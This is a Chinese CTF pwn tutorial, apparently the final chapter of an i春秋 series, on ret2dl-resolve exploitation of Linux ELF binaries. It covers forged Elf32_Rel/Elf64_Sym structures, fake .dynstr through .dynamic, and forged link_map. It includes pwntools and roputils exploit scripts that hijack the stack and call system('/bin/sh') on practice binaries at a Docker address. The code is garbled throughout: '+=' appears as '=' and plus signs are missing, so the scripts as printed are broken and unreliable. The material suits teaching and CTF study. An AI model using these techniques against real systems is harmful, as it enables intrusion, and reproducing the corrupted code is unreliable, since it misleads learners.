Linux Pwn入门教程系列分享已到尾声，本套课程是作者依据i春秋Pwn入门课程中的技术分类，并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。
教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法，如栈，堆，整数溢出，格式化字符串，条件竞争等进行介绍，所有环境都会封装在Docker镜像当中，并提供调试用的教学程序，来自历年赛事的原题和带有注释的python脚本。
前期课程回顾>>
Linux Pwn入门教程第一章：环境配置
Linux Pwn入门教程第二章：栈溢出基础
Linux Pwn入门教程第三章：ShellCode
Linux Pwn入门教程第四章：ROP技术
Linux Pwn入门教程第五章：调整栈帧的技巧
Linux Pwn入门教程第六章：利用漏洞获取libc
Linux Pwn入门教程第七章：格式化字符串漏洞
Linux Pwn入门教程第八章：PIE与bypass思路
Linux Pwn入门教程第九章：stack canary与绕过的思路
Linux Pwn入门教程第十章：针对函数重定位流程的相关测试（上）
今天i春秋与大家分享的是Linux Pwn入门教程中的最后一节内容：针对函数重定位流程的相关测试（下），阅读用时约20分钟。
注：文末有本套课程所整理的全部内容，大家可收藏进行系统学习。
32位下的ret2dl-resolve
通过一系列冗长的源码阅读 调试分析，我们捋了一遍符号重定位的流程，现在我们要站在测试角度看待这个流程了。从上面的分析结果中我们知道其实最终影响解析的是函数的名字，那么如果我们强行把write改成system呢？我们来试一下。
我们强行修改内存数据，然后继续运行，发现劫持got表成功，此时write表项是system的地址。
那么我们是不是可以修改dynstr里面的数据呢？通过查看内存属性，我们很不幸地发现.rel.plt. .dynsym .dynstr所在的内存区域都不可写。
这样一来，我们能够改变的就只有reloc_arg了。基于上面的分析，我们的思路是在内存中伪造Elf32_Rel和Elf32_Sym两个结构体，并手动传递reloc_arg使其指向我们伪造的结构体，让Elf32_Sym.st_name的偏移值指向预先放在内存中的字符串system完成攻击。为了地址可控，我们首先进行栈劫持并跳转到0x0804834B。
为此我们必须在bss段构造一个新的栈，以便栈劫持完成后程序不会崩溃。ROP链如下：
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'i386') start_addr = 0x08048350 read_plt = 0x08048310 write_plt = 0x08048340 write_plt_without_push_reloc_arg = 0x0804834b leave_ret = 0x08048482 pop3_ret = 0x08048519 pop_ebp_ret = 0x0804851b new_stack_addr = 0x0804a200 #bss与got表相邻，_dl_fixup中会降低栈后传参，设置离bss首地址远一点防止参数写入非法地址出错 io = remote('172.17.0.2', 10001) payload = "" payload = 'A'*140 #padding payload = p32(read_plt) #调用read函数往新栈写值，防止leave; retn到新栈后出现ret到地址0上导致出错 payload = p32(pop3_ret) #read函数返回后从栈上弹出三个参数 payload = p32(0) #fd = 0 payload = p32(new_stack_addr) #buf = new_stack_addr payload = p32(0x400) #size = 0x400 payload = p32(pop_ebp_ret) #把新栈顶给ebp，接下来利用leave指令把ebp的值赋给esp payload = p32(new_stack_addr) payload = p32(leave_ret) io.send(payload) #此时程序会停在我们使用payload调用的read函数处等待输入数据 payload = "" payload = "AAAA" #leave = mov esp, ebp; pop ebp，占位用于pop ebp payload = p32(write_plt_without_push_reloc_arg) #按照我们的测试方案，强制程序对write函数重定位，reloc_arg由我们手动放入栈中 payload = p32(0x18) #手动传递write的reloc_arg，调用write payload = p32(start_addr) #函数执行完后返回start payload = p32(1) #fd = 1 payload = p32(0x08048000) #buf = ELF程序加载开头，write会输出ELF payload = p32(4) #size = 4 io.send(payload)
测试结果：
我们可以看到调用成功了。我们发现其实跳转到write_plt_without_push_reloc_arg上，还是会直接跳转到PLT[0]，所以我们可以把这个地址改成PLT[0]的地址。
接下来我们开始着手在新的栈上伪造两个结构体：
write_got = 0x0804a018 new_stack_addr = 0x0804a500 #bss与got表相邻，_dl_fixup中会降低栈后传参，设置离bss首地址远一点防止参数写入非法地址出错 relplt_addr = 0x080482b0 #.rel.plt的首地址，通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg dymsym_addr = 0x080481cc #.dynsym的首地址，通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移构造Elf32_Rel.r_info dynstr_addr = 0x0804822c #.dynstr的首地址，通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf32_Sym.st_name fake_Elf32_Rel_addr = new_stack_addr 0x50 #在新栈上选择一块空间放伪造的Elf32_Rel结构体，结构体大小为8字节 fake_Elf32_Sym_addr = new_stack_addr 0x5c #在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体，结构体大小为0x10字节 binsh_addr = new_stack_addr 0x74 #把/bin/sh\x00字符串放在最后面 fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr #计算伪造的reloc_arg fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #伪造r_info，偏移要计算成下标，除以Elf32_Sym的大小，最后一字节为0x7 fake_st_name = new_stack_addr 0x6c - dynstr_addr #伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system fake_Elf32_Rel_data = "" fake_Elf32_Rel_data = p32(write_got) #r_offset = write_got，以免重定位完毕回填got表的时候出现非法内存访问错误 fake_Elf32_Rel_data = p32(fake_r_info) fake_Elf32_Sym_data = "" fake_Elf32_Sym_data = p32(fake_st_name) fake_Elf32_Sym_data = p32(0) #后面的数据直接套用write函数的Elf32_Sym结构体，具体成员变量含义自行搜索 fake_Elf32_Sym_data = p32(0) fake_Elf32_Sym_data = p32(0x12)
我们把新栈的地址向后调整了一点，因为在调试深入到_dl_fixup的时候发现某行指令试图对got表写入，而got表正好就在bss的前面，紧接着bss，为了防止运行出错，我们进行了调整。此外，需要注意的是伪造的两个结构体都要与其首地址保持对齐。完成了结构体伪造之后，我们将这些内容放在新栈中，调试的时候确认整个伪造的链条正确，pwn it！
64位下的ret2dl-resolve
与32位不同，在64位下，虽然_dl_fixup函数的逻辑没有改变，但是许多相关的变量和结构体都有了变化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定义了reloc_offset和reloc_index：
#define reloc_offset reloc_arg * sizeof (PLTREL) #define reloc_index reloc_arg #include <elf/dl-runtime.c>
我们可以推断出reloc_arg已经不像32位中是作为一个偏移值存在，而是作为一个数组下标存在。此外，两个关键的结构体也做出了调整：Elf32_Rel升级为Elf64_Rela, Elf32_Sym升级为Elf64_Sym，这两个结构体的大小均为0x18。
typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym;
此外，_dl_runtime_resolve的实现位于glibc/sysdeps/x86_64/dl-trampoline.h中，其代码加了宏定义之后可读性很差，核心内容仍然是调用_dl_fixup，此处不再分析。
最后，在64位下进行ret2dl-resolve还有一个问题，即我们在分析源码时提到但是应用中却忽略的一个潜在数组越界：
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
这里会使用reloc->r_info的高位作为下标产生了ndx，然后在link_map的成员数组变量l_versions中取值作为version。为了在伪造的时候正确定位到sym，r_info必然会较大。在32位的情况下，由于程序的映射较为紧凑， reloc->r_info的高24位导致vernum数组越界的情况较少。
由于程序映射的原因，vernum数组首地址后面有大片内存都是以0x00填充，测试导致reloc->r_info的高24位过大后从vernum数组中获取到的ndx有很大概率是0，从而由于ndx异常导致l_versions数组越界的几率也较低。我们可以对照源码，IDA调试进入_dl_fixup后，将断点下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。
中断后切换到汇编
单步运行到movzx edx, word ptr [edx esi*2]一行
观察edx的值，此处为0x0804827c, edx esi*2 = 0x08048284，查看程序的内存映射情况。
一直到地址0x0804b000都是可读的，所以esi，也就是reloc->r_info的高24位最高可以达到0x16c2，考虑到.dymsym与.bss的间隔，这个允许范围基本够用。继续往下看：
此时的edi = 0xf7fa9918，[edi 170h]保存的值为0Xf7f7eb08，其后连续可读的地址最大值为0xf7faa000，因此mov ecx, [edx 4]一行，按照之前几行汇编代码的算法，只要取出的edx值不大于(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f，version = &l->l_versions[ndx];就不会产生非法内存访问。仔细观察会发现0x0804827c~0x0804b000之间几乎所有的2字节word型数据都符合要求。因此，大部分情况下32位的题目很少会产生ret2dl-resolve在此处造成的段错误。
而对于64位，我们用相同的方法调试本节的例子~/XMAN 2016-level3_64/level3_64会发现由于我们常用的bss段被映射到了0x600000之后，而dynsym的地址仍然在0x400000附近，r_info的高位将会变得很大，再加上此时vernum也在0x400000附近，vernum[ELFW(R_SYM) (reloc->r_info)]将会有很大概率落在在0x400000~0x600000间的不可读区域。
从而产生一个段错误。为了防止出现这个错误，我们需要修改判断流程，使得l->l_info[VERSYMIDX (DT_VERSYM)]为0，从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map 0x1c8(对应的，32位下为link_map 0xe4)，所以我们需要泄露link_map地址并将link_map置为0。
64位下的ret2dl-resolve与32位下的ret2dl-resolve除了上述一些变化之外，exp构造流程并没有什么区别，在此处不再赘述，详细脚本可见于附件。
理论上来说，ret2dl-resolve对于所有存在栈溢出，没有Full RELRO(如果开启了Full RELRO，所有符号将会在运行时被全部解析，也就不存在_dl_fixup了)且有一个已知确定的栈地址(可以通过stack pivot劫持栈到已知地址)的程序都适用。但是我们从上面的64位ret2dl-resolve中可以看到其必须泄露link_map的地址才能完成利用，对于32位程序来说也可能出现同样的问题。如果出现了不存在输出的栈溢出程序，我们就没办法用这种套路了，那我们该怎么办呢？接下来的几节我们将介绍一些不依赖泄露的攻击手段。
使用ROPutils简化攻击步骤
从上面32位和64位的攻击脚本我们不难看出来，虽然构造payload的过程很繁琐，但是实际上大部分代码的格式都是固定的，我们完全可以把它们封装成一个函数进行调用。当然，我们还可以当一把懒人，直接用别人写好的库。例如项目ROPutils(https://github.com/inaz2/roputils)
阅读代码roputils.py，其大部分我们会用到的东西都在ROP*和FormatStr这几个类中，不过ROPutils也提供了其他的辅助工具类和函数。当然，在本节中我们只会介绍和ret2dl-resolve相关的一些函数的用法，不做源码分析和过多的介绍。
我们可以直接把roputils.py和自己写的脚本放在同一个文件夹下以使用其中的功能。以~/XMAN 2016-level3/level4为例。其实我们会发现fake dl-resolve并不一定需要进行栈劫持，我们只要确保伪造的link_map所在地址已知，且地址能被作为参数传入_dl_fixup即可。我们先来构造一个栈溢出，调用read读取伪造的link_map到.bss中。
from roputils import * #为了防止命名冲突，这个脚本全部只使用roputils中的代码。如果需要使用pwntools中的代码需要在import roputils前import pwn，以使得roputils中的ROP覆盖掉pwntools中的ROP rop = ROP('./level4') #ROP继承了ELF类，下面的section, got, plt都是调用父类的方法 bss_addr = rop.section('.bss') read_got = rop.got('read') read_plt = rop.plt('read') offset = 140 io = Proc(host = '172.17.0.2', port = 10001) #roputils中这里需要显式指定参数名 buf = rop.fill(offset) #fill用于生成填充数据 buf = rop.call(read_plt, 0, bss_addr, 0x100) #call可以通过某个函数的plt地址方便地进行调用 buf = rop.dl_resolve_call(bss_addr 0x20, bss_addr) #dl_resolve_call有一个参数base和一个可选参数列表*args。base为伪造的link_map所在地址，*args为要传递给被劫持调用的函数的参数。这里我们将"/bin/sh\x00"放置在bss_addr处，link_map放置在bss_addr 0x20处 io.write(buf) 然后我们直接用dl_resolve_data生成伪造的link_map并发送 buf = rop.string('/bin/sh') buf = rop.fill(0x20, buf) #如果fill的第二个参数被指定，相当于将第二个参数命名的字符串填充至指定长度 buf = rop.dl_resolve_data(bss_addr 0x20, 'system') #dl_resolve_data的参数也非常简单，第一个参数是伪造的link_map首地址，第二个参数是要伪造的函数名 buf = rop.fill(0x100, buf) io.write(buf)
然后我们直接使用io.interact(0)就可以打开一个shell了。
关于roputils的用法可以参考其github仓库中的examples，其他练习程序不再提供对应的roputils写法的脚本。
在.dynamic节中伪造.dynstr节地址
在32位的ret2dl-resolve一节中我们已经发现,ELF开发小组为了安全，设置.rel.plt. .dynsym .dynstr三个重定位相关的节区均为不可写。然而ELF文件中有一个.dynamic节，其中保存了动态链接器所需要的基本信息，而我们的.dynstr也属于这些基本信息中的一个。
如果一个程序没有开启RELRO(即checksec显示No RELRO).dynamic节是可写的。（Partial RELRO和Full RELRO会在程序加载完成时设置.dynamic为不可写，因此尽管readelf显示其为可写也不可相信）
.dynamic节中只包含Elf32/64_Dyn结构体类型的数据，这两个结构体定义在glibc/elf/elf.h下：
typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; typedef struct { Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn;
从结构体的定义我们可以看出其由一个d_tag和一个union类型组成，union中的两个变量会随着不同的d_tag进行切换，我们通过readelf看一下.dynstr的d_tag。
其标记为0x05，union变量显示为值0x0804820c。我们看一下内存中.dynamic节中.dynstr对应的Elf32_Dyn结构体和指针指向的数据。
因此，我们只需要在栈溢出后程序中仍然存在至少一个未执行过的函数，我们就可以修改.dynstr对应结构体中的地址，从而使其指向我们伪造的.dynstr数据，进而在解析的时候解析出我们想要的函数。
我们以32位的程序为例，打开~/fake_dynstr32/fake_dynstr32。
这个程序满足了我们需要的一切条件——No RELRO，栈溢出发生在vuln中，exit不会被调用，因此我们可以用上述方法进行攻击。首先我们把所有的字符串从里面拿出来，并且把exit替换成system。
call_exit_addr = 0x08048495 read_plt = 0x08048300 start_addr = 0x08048350 dynstr_d_ptr_address = 0x080496a4 fake_dynstr_address = 0x08049800 fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"
注意由于memset的一部分也会被system覆盖掉，我们应该把剩余的部分设置为\x00，防止后面的符号偏移值错误。memset由于是在read函数运行之前运行的，所以它的符号已经没用了，可以被覆盖掉。
接下来我们构造ROP链依次写入伪造的dynstr字符串和其保存在Elf32_Dyn中的地址。
io = remote("172.17.0.2", 10001) payload = "" payload = 'A'*22 #padding payload = p32(read_plt) #修改.dynstr对应的Elf32_Dyn.d_ptr payload = p32(start_addr) payload = p32(0) payload = p32(dynstr_d_ptr_address) payload = p32(4) io.send(payload) sleep(0.5) io.send(p32(fake_dynstr_address)) #新的.dynstr地址 sleep(0.5) payload = "" payload = 'A'*22 #padding payload = p32(read_plt) #在内存中伪造一块.dynstr字符串 payload = p32(start_addr) payload = p32(0) payload = p32(fake_dynstr_address) payload = p32(len(fake_dynstr_data) 8) #长度是.dynstr加上8，把"/bin/sh\x00"接在后面 io.send(payload) sleep(0.5) io.send(fake_dynstr_data "/bin/sh\x00") #把/bin/sh\x00接在后面 sleep(0.5)
此时还剩下函数exit未被调用，我们通过前面的步骤伪造了.dynstr，将其中的exit改成了system，因此根据_dl_fixup的原理，此时函数将会解析system的首地址并返回到system上。
64位下的利用方式与32位下并没有区别，此处不再进行详细分析。
fake link_map
由于各种保护方式的普及，现在能碰到No RELRO的程序已经很少了，因此上节所述的攻击方式能用上的机会并不多，所以这节我们介绍另外一种方式——通过伪造link_map结构体进行攻击。
在前面的源码分析中，我们主要把目光集中在未解析过的函数在_dl_fixup的流程中而忽略了另外一个分支。
_dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { ………… //变量定义，初始化等等 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断函数是否被解析过。此前我们一直利用未解析过的函数的结构体，所以这里的if始终成立 ………… result = _dl_lookup_symbol_x (strtab sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); ………… } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr sym->st_value); result = l; } ………… }
通过注释我们可以看到之前的if起的是判断函数是否被解析过的作用，如果函数被解析过，_dl_fixup就不会调用_dl_lookup_symbol_x对函数进行重定位，而是直接通过宏DL_FIXUP_MAKE_VALUE计算出结果。这边用到了link_map的成员变量l_addr和Elf32/64_Sym的成员变量st_value。这里的l_addr是实际映射地址和原来指定的映射地址的差值，st_value根据对应节的索引值有不同的含义。
不过在这里我们并不需要关心那么多，我们只需要知道如果我们能使l->l_addr sym->st_value指向一个函数的在内存中的实际地址，那么我们就能返回到这个函数上。但是问题来了，如果我们知道了system在内存中的实际地址，我们何苦用那么麻烦的方式跳转到system上呢？所以答案是我们不知道。
我们需要做的是让l->l_addr和sym->st_value其中之一落在got表的某个已解析的函数上（如__libc_start_main），而另一个则设置为system函数和这个函数的偏移值。既然我们都伪造了link_map，那么显然l_addr是我们可以控制的，而sym根据我们的源码分析，它的值最终也是从link_map中获得的（很多节区地址，包括.rel.plt, .dynsym, dynstr都是从中取值，更多细节可以对比调试时的link_map数据与源码进行学习）
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
所以这两个值我们都可以进行伪造。此时只要我们知道libc的版本，就能算出system与已解析函数之间的偏移了。
说到这里可能有人会想到，既然伪造的link_map那么厉害，那么我们为什么不在前面的dl-resolve中直接伪造出.dynstr的地址，而要通过一条冗长的求值链返回到system呢？我们来看一下上面的这行代码：
result = _dl_lookup_symbol_x (strtab sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
根据位于glibc/include/Link.h中的link_map结构体定义，这里的l_scope是一个当前link_map的查找范围数组。我们从link_map结构体的定义可以看出来其实这是一个双链表，每一个link_map元素都保存了一个函数库的信息。当查找某个符号的时候，实际上是通过遍历整个双链表，在每个函数库中进行的查询。显然，我们不可能知道libc的link_map地址，所以我们没办法伪造l_scope，也就没办法伪造整个link_map使流程进入_dl_lookup_symbol_x，只能选择让流程进入“函数已被解析过”的分支。
回到主题，我们为了让函数流程绕过_dl_lookup_symbol_x，必须伪造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0，根据sym的定义，我们就得伪造symtab和reloc->r_info，所以我们得伪造DT_SYMTAB, DT_JMPREL，此外，我们得伪造strtab为可读地址，所以还得伪造DT_STRTAB，所以我们需要伪造link_map前0xf8个字节的数据，需要关注的分别是位于link_map 0的l_addr，位于link_map 0x68的DT_STRTAB指针，位于link_map 0x70的DT_SYMTAB指针和位于link_map 0xF8的DT_JMPREL指针。
此外，我们需要伪造Elf64_Sym结构体，Elf64_Rela结构体，由于DT_JMPREL指向的是Elf64_Dyn结构体，我们也需要伪造一个这样的结构体。当然，我们得让reloc_offset为0.为了伪造的方便，我们可以选择让l->l_addr为已解析函数内存地址和system的偏移，sym->st_value为已解析的函数地址的指针-8，即其got表项-8。(这部分在源码中似乎并没有体现出来，但是调试的时候发现实际上会 8，原因不明)我们还是以~/XMAN 2016-level3_64/level3_64为例进行分析。
首先我们来构造一个fake link_map：
fake_link_map_data = "" fake_link_map_data = p64(offset) # 0x00 l_addr offset = system - __libc_start_main fake_link_map_data = '\x00'*0x60 fake_link_map_data = p64(DT_STRTAB) # 0x68 DT_STRTAB fake_link_map_data = p64(DT_SYMTAB) # 0x70 DT_SYMTAB fake_link_map_data = '\x00'*0x80 fake_link_map_data = p64(DT_JMPREL) # 0xf8 DT_JMPREL 后面的link_map数据由于我们用不上就不构造了。根据我们的分析，我们留出来四个8字节数据区用来填充相应的数据，其他部分都置为0. 接下来我们伪造出三个结构体 fake_Elf64_Dyn = "" fake_Elf64_Dyn = p64(0) #d_tag fake_Elf64_Dyn = p64(0) #d_ptr fake_Elf64_Rela = "" fake_Elf64_Rela = p64(0) #r_offset fake_Elf64_Rela = p64(7) #r_info fake_Elf64_Rela = p64(0) #r_addend fake_Elf64_Sym = "" fake_Elf64_Sym = p32(0) #st_name fake_Elf64_Sym = 'AAAA' #st_info, st_other, st_shndx fake_Elf64_Sym = p64(main_got-8) #st_value fake_Elf64_Sym = p64(0) #st_size
显然我们必须把r_info设置为7以通过检查。为了使ELFW(ST_VISIBILITY) (sym->st_other)不为0从而躲过_dl_lookup_symbol_x，我们直接把st_other设置为非0.st_other也必须为非0以避开_dl_lookup_symbol_x，进入我们希望要的分支。
我们注意到fake_link_map中间有许多用\x00填充的空间，这些地方实际上写啥都不影响我们的攻击，因此我们充分利用空间，把三个结构体跟/bin/sh\x00也塞进去。
offset = 0x253a0 #system - __libc_start_main fake_Elf64_Dyn = "" fake_Elf64_Dyn = p64(0) #d_tag 从link_map中找.rel.plt不需要用到标签， 随意设置 fake_Elf64_Dyn = p64(fake_link_map_addr 0x18) #d_ptr 指向伪造的Elf64_Rela结构体，由于reloc_offset也被控制为0，不需要伪造多个结构体 fake_Elf64_Rela = "" fake_Elf64_Rela = p64(fake_link_map_addr - offset) #r_offset rel_addr = l->addr reloc_offset，直接指向fake_link_map所在位置令其可读写就行 fake_Elf64_Rela = p64(7) #r_info index设置为0，最后一字节必须为7 fake_Elf64_Rela = p64(0) #r_addend 随意设置 fake_Elf64_Sym = "" fake_Elf64_Sym = p32(0) #st_name 随意设置 fake_Elf64_Sym = 'AAAA' #st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支 fake_Elf64_Sym = p64(main_got-8) #st_value 已解析函数的got表地址-8，-8体现在汇编代码中，原因不明 fake_Elf64_Sym = p64(0) #st_size 随意设置 fake_link_map_data = "" fake_link_map_data = p64(offset) #l_addr，伪造为两个函数的地址偏移值 fake_link_map_data = fake_Elf64_Dyn fake_link_map_data = fake_Elf64_Rela fake_link_map_data = fake_Elf64_Sym fake_link_map_data = '\x00'*0x20 fake_link_map_data = p64(fake_link_map_addr) #DT_STRTAB 设置为一个可读的地址 fake_link_map_data = p64(fake_link_map_addr 0x30)#DT_SYMTAB 指向对应结构体数组的地址 fake_link_map_data = "/bin/sh\x00" fake_link_map_data = '\x00'*0x78 fake_link_map_data = p64(fake_link_map_addr 0x8) #DT_JMPREL 指向对应数组结构体的地址
现在我们需要做的就是栈劫持，伪造参数跳转到_dl_fixup了。前两者好说，_dl_fixup地址也在got表中的第2项。但是问题是这是一个保存了函数地址的地址，我们没办法放在栈上用ret跳过去，难道要再用一次万能gadgets吗？不，我们可以选择这个：
把这行指令地址放到栈上，用ret就可以跳进_fix_up.现在我们需要的东西都齐了，只要把它们组装起来，pwn it!
